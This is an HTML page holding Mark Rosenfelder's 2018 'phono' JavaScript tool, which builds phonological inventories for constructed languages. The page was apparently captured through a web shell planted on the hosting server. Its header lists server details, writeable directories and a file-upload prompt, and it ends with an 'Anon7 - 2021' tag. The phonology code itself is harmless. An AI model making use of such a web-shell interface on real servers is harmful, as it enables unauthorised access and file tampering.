KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/markrose/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/markrose/phono.html
<HTML> 
<HEAD>
<meta http-equiv="content-type" content="text-html; charset=utf-8">
<TITLE>phono - phonology creator</TITLE>

<style>
	h2
		{color:#A60000;}
	h3
		{color:#C08700;}
	h4
		{color:#C08700;}
	h5
		{color:#C08700;}
	h6
		{color:#C08700;}
	tt
		{color:#A60000;
		font-weight:bold;
		font-family:"Gentium";}
	
</style>

</HEAD> 

<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<form action="" name="theform">
<script language="javascript" type="text/javascript">

// Script (C) 2018 by Mark Rosenfelder.
// You can modify the code for non-commercial use; 
// attribution would be nice.
// If you want to make money off it, please contact me.

var spaces = false;


// Get the contents of one of the phonology fields
function phono(id) 
{
	var el = document.getElementById(id);
	if (!el)
	    return "";

	var s = el.value;
	if (s.length == 0 || s.charAt(0) == ' ')
	    return "";

	if (spaces) s += " ";

	return s;
}

var phonc = "";
var phonv = "";
var phonvcd = "";

// Despace
function despace(s) {

	var ss = s.split(" ");
	var t = "";
	for (var i = 0; i < ss.length; i++) {
	    t += ss[i];
	}
	return t;
}

// Create one category for a row of phones
function prow(t, cons) 
{
	var label = phono(t + "Cat");
	var phones;

	if (cons) phones =
    	    phono(t + "Lab") + 
    	    phono(t + "Dnt") + 
    	    phono(t + "Ret") + 
    	    phono(t + "Pal") + 
    	    phono(t + "Vel") + 
    	    phono(t + "Uvu") +
    	    phono(t + "Glt");
	else phones =
    	    phono(t + "F") + 
    	    phono(t + "C") + 
    	    phono(t + "B");

	if (cons) phonc += phones;
	else phonv += phones;

	if (cons && (t == "stop" || t == "fric" || t == "affr")) {
	    phonvcd += phones;
	}

	if (label == "" || phones == "")
	    return "";

	return label + "=" + phones + "<br/>"; 
}

// Create one category for a column of phones
function pcol(t, cons) 
{
	var label = phono(t + "Cat");
	var phones;

	if (cons) phones =
    	    phono("stop" + t) + 
    	    phono("fric" + t) + 
    	    phono("affr"  + t) + 
    	    phono("nas"  + t) + 
    	    phono("liq"  + t) + 
    	    phono("sv"   + t);
	else phones =
    	    phono("i" + t) +
    	    phono("e" + t) +
    	    phono("ö" + t) +
    	    phono("a" + t);

	if (label == "" || phones == "")
	    return "";

	return label + "=" + phones + "<br/>"; 
}

var tabb;
var tabc;
var rowh;
var rowb;
var rowe;
var rowhe;
var celh;
var celb;
var cele;
var celhe;
var italb;
var itale;
var boldb;
var bolde;
var br = "<br/>";

function HCell(t)
{
	var phones = phono(t);
	var s = celb + boldb;

	var ph = phones.split(spaces ? " " : "");

	for (var i = 0; i < ph.length; i++) 
	    s += ph[i] + " ";

	s += bolde + cele;

	return s;
}

function HCellI(t)
{
	return celb + italb + t + itale + cele;
}

function HCellH(t)
{
	var phones = phono(t);
	var s = celh + italb;

	for (var i = 0; i < phones.length; i++) 
	    s += phones.charAt(i) + " ";

	s += itale + celhe;

	return s;
}

// Output HTML for one row
function Hprow(t, cons) 
{
	// Make sure there's something here
	if (prow(t, cons) == "")
	    return "";

	var s = rowb;

	s += celh + italb + phono(t + "Cat") + itale + celhe;

	var phones;
	if (cons) s +=
    	    HCell(t + "Lab") + 
    	    HCell(t + "Dnt") + 
    	    HCell(t + "Ret") + 
    	    HCell(t + "Pal") + 
    	    HCell(t + "Vel") + 
    	    HCell(t + "Uvu") + 
    	    HCell(t + "Glt");
	else s +=
    	    HCell(t + "F") + 
    	    HCell(t + "C") + 
    	    HCell(t + "B");

	s += rowe;

	return s + "<br/>";
}

// Function to guess at S (unvoiced) and Z (voiced)
// Assume odds are unvoiced, evens are voiced
function makevoiced(cat, s, offset) 
{
	var t = "";

	var ph = s.split(spaces ? " " : "");

	for (var i = offset; i < ph.length; i += 2) {
	    t += ph[i];
	    if (spaces) t += " ";
	}
	
	return cat + "=" + t + br;
}


// Create categories based on phonology
function makecats()
{
	spaces = theform.spaces.checked;

	var s = "";
	phonc = "";
	phonv = "";
	phonvcd = "";

	// Consonants
	s += prow("stop", true);
	s += prow("fric", true);
	s += prow("affr", true);
	s += prow("nas", true);
	s += prow("liq", true);
	s += prow("sv", true);

	s += pcol("Lab", true);
	s += pcol("Dnt", true);
	s += pcol("Ret", true);
	s += pcol("Pal", true);
	s += pcol("Vel", true);
	s += pcol("Uvu", true);
	s += pcol("Glt", true);

	// Voiced and Unvoiced
	s += makevoiced("S", phonvcd, 0) + makevoiced("Z", phonvcd, 1);

	// Vowels
	s += prow("i", false);
	s += prow("e", false);
	s += prow("ö", false);
	s += prow("a", false);

	s += pcol("F", false);
	s += pcol("C", false);
	s += pcol("B", false);

	// V and C include everything
	s = "C=" + phonc + br
	  + "V=" + phonv + br
	  + s;

	s = despace(s);

	document.getElementById("mytext").innerHTML = s;
}

// Create html or BBCode table of phonological inventory
function cattable()
{
	spaces = theform.spaces.checked;

	s = "";

	// Consonants
	s += boldb + "Consonants" + bolde + br;

	s += tabb + br;

	s += rowh + HCellI("");
	s += HCellI(phono("LabCat")) + HCellI(phono("DntCat"));
	s += HCellI(phono("RetCat")) + HCellI(phono("PalCat"));
	s += HCellI(phono("VelCat")) + HCellI(phono("UvuCat"));
	s += HCellI(phono("GltCat"));
	s += rowhe + br;

	s += Hprow("stop", true);
	s += Hprow("fric", true);
	s += Hprow("affr", true);
	s += Hprow("nas", true);
	s += Hprow("liq", true);
	s += Hprow("sv", true);

	s += tabc + br;

	// Vowels
	s += boldb + "Vowels" + bolde + br;

	s += tabb + br;

	s += rowh + HCellI("");
	s += HCellI(phono("FCat"));
	s += HCellI(phono("CCat"));
	s += HCellI(phono("BCat"));
	s += rowhe + br;

	s += Hprow("i", false);
	s += Hprow("e", false);
	s += Hprow("ö", false);
	s += Hprow("a", false);

	s += tabc + br;
	
	document.getElementById("mytext").innerHTML =s;
}

// Create HTML table
function cathtml()
{
	var o = "&lt;";
	var c = "&gt;";

	tabb = o + "table" + c; 
	tabc = o + "/table" + c;
	rowb = o + "tr" + c;
	rowe = o + "/tr" + c;
	celb = o + "td" + c;
	cele = o + "/td" + c;
	italb = o + "i" + c;
	itale = o + "/i" + c;
	boldb = o + "b" + c;
	bolde = o + "/b" + c;
	rowh = o + 'tr bgcolor="#A0A0A0"' + c;
	celh = o + 'td bgcolor="#A0A0A0"' + c;
	celhe = cele;
	rowhe = rowe;

	cattable();	
}

// Create BBCode table
function catBBcode()
{
	tabb  = "[table]"; 
	tabc  = "[/table]";
	rowb  = "[row]";
	rowe  = "[/row]";
	celb  = "[cell]";
	cele  = "[/cell]";
	italb = "[i]";
	itale = "[/i]";
	boldb = "[b]";
	bolde = "[/b]";
	celh  = "[cellh]";
	celhe = "[/cellh]";
	rowh  = "[rowh]";
	rowhe = "[/rowh]";

	cattable();	
}

// Set a text field to a value
function reset(f, v)
{
	document.getElementById(f).value = v;
}
 

// Set minimal fields
function minimal()
{
	reset("stopLab", "pb");
	reset("stopDnt", "td");
	reset("stopRet", "");
	reset("stopPal", "");
	reset("stopVel", "kg");
	reset("stopUvu", "");
	reset("stopGlt", "");
	reset("iF", "i");
	reset("iC", "");
	reset("iB", "u");
	reset("fricLab", "fv");
	reset("fricDnt", "sz");
	reset("fricRet", "");
	reset("fricPal", "");
	reset("fricVel", "");
	reset("fricUvu", "");
	reset("fricGlt", "h");
	reset("eF", "e");
	reset("eC", "");
	reset("eB", "o");
	reset("affrLab", "");
	reset("affrDnt", "");
	reset("affrRet", "");
	reset("affrPal", "");
	reset("affrVel", "");
	reset("affrUvu", "");
	reset("affrGlt", "");
	reset("öF", "");
	reset("öC", "");
	reset("öB", "");
	reset("nasLab", "m");
	reset("nasDnt", "n");
	reset("nasRet", "");
	reset("nasPal", "");
	reset("nasVel", "");
	reset("nasUvu", "");
	reset("nasGlt", "");
	reset("aF", "");
	reset("aC", "a");
	reset("aB", "");
	reset("liqLab", "");
	reset("liqDnt", "lr");
	reset("liqRet", "");
	reset("liqPal", "");
	reset("liqVel", "");
	reset("liqUvu", "");
	reset("liqGlt", "");
	reset("svLab", "w");
	reset("svDnt", "");
	reset("svRet", "");
	reset("svPal", "j");
	reset("svVel", "");
	reset("svUvu", "");
	reset("svGlt", "");
}


// Set default fields
function deffield()
{
	reset("stopLab", "pb");
	reset("stopDnt", "td");
	reset("stopRet", "ʈɖṭḍ");
	reset("stopPal", "cɟ");
	reset("stopVel", "kg");
	reset("stopUvu", "qɢ");
	reset("stopGlt", "ʔ");
	reset("iF", "iyüĩīǐ");
	reset("iC", "ɨʉ");
	reset("iB", "ɯuũūǔ");
	reset("fricLab", "fvɸβ");
	reset("fricDnt", "szθðʃʒšž");
	reset("fricRet", "ʂʐṣẓ");
	reset("fricPal", "ɕʑçʝśź");
	reset("fricVel", "xɣȟ");
	reset("fricUvu", "χʁ");
	reset("fricGlt", "ħʕhɦḥ");
	reset("eF", "eøɪʏöẽēě");
	reset("eC", "ɘɵ");
	reset("eB", "ɤoʊõōǒ");
	reset("affrLab", "");
	reset("affrDnt", "ʦʣčǰ");
	reset("affrRet", "");
	reset("affrPal", "");
	reset("affrVel", "");
	reset("affrUvu", "");
	reset("affrGlt", "");
	reset("öF", "ɛœ");
	reset("öC", "ɜɞə");
	reset("öB", "ʌɔ");
	reset("nasLab", "mɱ");
	reset("nasDnt", "n");
	reset("nasRet", "ɳṇ");
	reset("nasPal", "ɲñ");
	reset("nasVel", "ŋ");
	reset("nasUvu", "ɴ");
	reset("nasGlt", "");
	reset("aF", "æ");
	reset("aC", "aäɐãāǎ");
	reset("aB", "ɑɒ");
	reset("liqLab", "ⱱ");
	reset("liqDnt", "lrɾɬɮ");
	reset("liqRet", "ɽɭṛḷ");
	reset("liqPal", "ʎ");
	reset("liqVel", "ʟ");
	reset("liqUvu", "ʀ");
	reset("liqGlt", "");
	reset("svLab", "wʋɥ");
	reset("svDnt", "ɹ");
	reset("svRet", "ɻ");
	reset("svPal", "j");
	reset("svVel", "ɰ");
	reset("svUvu", "");
	reset("svGlt", "");
}

// Set default category names
function deflabels(full)
{
	reset("LabCat", full ? "Labials" : "M");
	reset("DntCat", full ? "Dentals" : "D");
	reset("RetCat", full ? "Retroflex" : "Ḍ");
	reset("PalCat", full ? "Palatals" : "J");
	reset("VelCat", full ? "Velars" : "G");
	reset("UvuCat", full ? "Uvular" : "Q");
	reset("GltCat", full ? "Glottal" : "ʔ");
	reset("FCat", full ? "Front" : "F");
	reset("CCat", full ? "Central" : "Ə");
	reset("BCat", full ? "Back" : "B");
	reset("stopCat", full ? "Plosives" : "P");
	reset("fricCat", full ? "Fricatives" : "X");
	reset("affrCat", full ? "Affricates" : "Č");
	reset("nasCat", full ? "Nasals" : "N");
	reset("liqCat", full ? "Liquids" : "R");
	reset("svCat", full ? "Semivowels" : "W");
	reset("iCat", full ? "High" : "H");
	reset("eCat", full ? "Close" : "E");
	reset("öCat", full ? "Open" : "O");
	reset("aCat", full ? "Low" : "L");
}


</script>

<table width="100%">
<tr><td bgcolor="#EEC25A">
<h2><br>&nbsp;&nbsp;<a href="kit.html"><img src="kit-gears.gif" border=0 align="absmiddle" height="53" width="60"></a>&nbsp;phono – Phonology Builder</h2></td></tr>
</td></tr>
</table>

<i>This is a Javascript program to help build phonological inventories.  It can produce output for the <a href="sca2.html">Sound Change Applier</a> or for <a href="gen.html">gen</a>, the lexical generator.  Or you can output HTML or ZBB BBCode.  

<p>(Note: this is beta code; report errors to me at markrose at zompist.com.)

<p>&#8212;Mark Rosenfelder, 2018</i>

<hr>

<input type="button" value="Create Cats" onClick="makecats();"> 
<input type="button" value="Html Table" onClick="cathtml();">
<input type="button" value="ZBB BBCode" onClick="catBBcode();">
<input type="button" value="Minimal" onClick="minimal();">
<input type="button" value="Default" onClick="deffield();">
<input type="button" value="Labels" onClick="deflabels(true);">
<input type="button" value="Chars" onClick="deflabels(false);">

<br><input type="checkbox" name="spaces">Phonemes are separated by spaces</input>
<table>

<tr>
<td colspan="2"><i>Consonants</i></td>
<td style="width:50px">&nbsp;</td>
<td colspan="2"><i>Vowels</i></td>

<td style="width:50px">&nbsp;</td>
<td rowspan="8"><div id="phonotext"> </div></td>
</td>

<tr>
<td></td>
<td>
<input id="LabCat" type="text" size="9" value="M">
<input id="DntCat" type="text" size="9" value="D">
<input id="RetCat" type="text" size="9" value="Ḍ">
<input id="PalCat" type="text" size="9" value="J">
<input id="VelCat" type="text" size="9" value="G">
<input id="UvuCat" type="text" size="9" value="Q">
<input id="GltCat" type="text" size="9" value="ʔ">
</td>

<td></td>
<td></td>
<td>
<input id="FCat" type="text" size="9" value="F">
<input id="CCat" type="text" size="9" value="Ə">
<input id="BCat" type="text" size="9" value="B">
</td></tr>

<tr>
<td><input id="stopCat" type="text" size="9" value="P"></td>
<td>
<input id="stopLab" type="text" size="9" value="pb">
<input id="stopDnt" type="text" size="9" value="td">
<input id="stopRet" type="text" size="9" value="ʈɖṭḍ">
<input id="stopPal" type="text" size="9" value="cɟ">
<input id="stopVel" type="text" size="9" value="kg">
<input id="stopUvu" rtype="text" size="9" value="qɢ">
<input id="stopGlt" rtype="text" size="9" value="ʔ">
</td>

<td></td><td><input id="iCat" type="text" size="9" value="H"></td>
<td>
<input id="iF" type="text" size="9" value="iyüĩīǐ">
<input id="iC" type="text" size="9" value="ɨʉ">
<input id="iB" type="text" size="9" value="ɯuũūǔ">
</td></tr>

<tr><td><input id="fricCat" type="text" size="9" value="X"></td>

<td>
<input id="fricLab" type="text" size="9" value="fvɸβ">
<input id="fricDnt" type="text" size="9" value="szθðʃʒšž">
<input id="fricRet" type="text" size="9" value="ʂʐṣẓ">
<input id="fricPal" type="text" size="9" value="ɕʑçʝśź">
<input id="fricVel" type="text" size="9" value="xɣȟ">
<input id="fricUvu" type="text" size="9" value="χʁ">
<input id="fricGlt" type="text" size="9" value="ħʕhɦḥ">
</td>

<td></td><td><input id="eCat" type="text" size="9" value="E"></td>
<td>
<input id="eF" type="text" size="9" value="eøɪʏöẽēě">
<input id="eC" type="text" size="9" value="ɘɵ">
<input id="eB" type="text" size="9" value="ɤoʊõōǒ">
</td></tr>

<tr>
<td><input id="affrCat" type="text" size="9" value="Č"></td>
<td>
<input id="affrLab" type="text" size="9" value="">
<input id="affrDnt" type="text" size="9" value="ʦʣčǰ">
<input id="affrRet" type="text" size="9" value="">
<input id="affrPal" type="text" size="9" value="">
<input id="affrVel" type="text" size="9" value="">
<input id="affrUvu" type="text" size="9" value="">
<input id="affrGlt" type="text" size="9" value="">
</td>

<td></td><td><input id="öCat" type="text" size="9" value="O"></td>
<td>
<input id="öF" type="text" size="9" value="ɛœ">
<input id="öC" type="text" size="9" value="ɜɞə">
<input id="öB" type="text" size="9" value="ʌɔ">
</td></tr>

<tr>
<td><input id="nasCat" type="text" size="9" value="N"></td>
<td>
<input id="nasLab" type="text" size="9" value="mɱ">
<input id="nasDnt" type="text" size="9" value="n">
<input id="nasRet" type="text" size="9" value="ɳṇ">
<input id="nasPal" type="text" size="9" value="ɲñ">
<input id="nasVel" type="text" size="9" value="ŋ">
<input id="nasUvu" type="text" size="9" value="ɴ">
<input id="nasGlt" type="text" size="9" value="">
</td>

<td></td><td><input id="aCat" type="text" size="9" value="L"></td>
<td>
<input id="aF" type="text" size="9" value="æ">
<input id="aC" type="text" size="9" value="aäɐãāǎ">
<input id="aB" type="text" size="9" value="ɑɒ">
</td></tr>

<tr>
<td><input id="liqCat" type="text" size="9" value="R"></td>
<td>
<input id="liqLab" type="text" size="9" value="ⱱ">
<input id="liqDnt" type="text" size="9" value="lrɾɬɮ">
<input id="liqRet" type="text" size="9" value="ɽɭṛḷ">
<input id="liqPal" type="text" size="9" value="ʎ">
<input id="liqVel" type="text" size="9" value="ʟ">
<input id="liqUvu" type="text" size="9" value="ʀ">
<input id="liqGlt" type="text" size="9" value="">
</td>
</tr>

<tr>
<td><input id="svCat" type="text" size="9" value="W"></td>
<td>
<input id="svLab" type="text" size="9" value="wʋɥ">
<input id="svDnt" type="text" size="9" value="ɹ">
<input id="svRet" type="text" size="9" value="ɻ">
<input id="svPal" type="text" size="9" value="j">
<input id="svVel" type="text" size="9" value="ɰ">
<input id="svUvu" type="text" size="9" value="">
<input id="svGlt" type="text" size="9" value="">
</td>
</tr>
<tr><td>&nbsp;</td></tr>
</table>


<h3>Output</h3>
<br><div id="mytext"> </div>


<h3>What to do</h3>

Enter your phonemes in the table, or select from those that are there. <b>Default</b> will restore the default values, <b>Minimal</b> will show minimal ones.

<p>Use <b>Create Cats</b> to create categories for each row and column, for both vowels and consonants: e.g. <tt>P=pbtdkg</tt>.  If a category label is blank, or the cells are blank, no category will be created.  You can paste the output into <a href="gen.html">gen</a> or <a href="sca2.html">SCA²</a>. 

<p>The program will create C and V categories for you; also S (unvoiced) and Z (voiced) from the first three rows only. The code assumes that unvoiced and voiced characters alternate.

<p>You can change the category labels, and indeed redefine the tables as needed. I've purposely left the Č row nearly blank to make reorganization easier.   

<p>If you really need more rows, just do a few rows at a time.  E.g. you could do short and long vowels separately.

<p><b>Html Table</b> will output HTML that displays the table, suitable for pasting into a web page; while <b>ZBB BBCode</b> will produce BBCode suitable for use on the ZBB.  (It won’t work on other BBCode forums, but I can send you the custom definitions if you like.)

<p>You can use <b>Labels</b> to switch to full labels (like <tt>Dentals</tt>) and <b>Chars</b> to switch back to category symbols (<tt>D</tt>).  

<p>If you use digraphs, check <b>Phonemes are separated by spaces</b>, and write the cells like <tt>t d ts</tt> rather than <tt>tdts</tt>.  This will produce better table output.  (Be aware that digraphs require special handling in SCA² and gen.)



</form>


<hr>

<center><A HREF="default.html"><img src="homeg.gif" border=0 alt="Home"></A></center>

</body>
</html>


Anon7 - 2021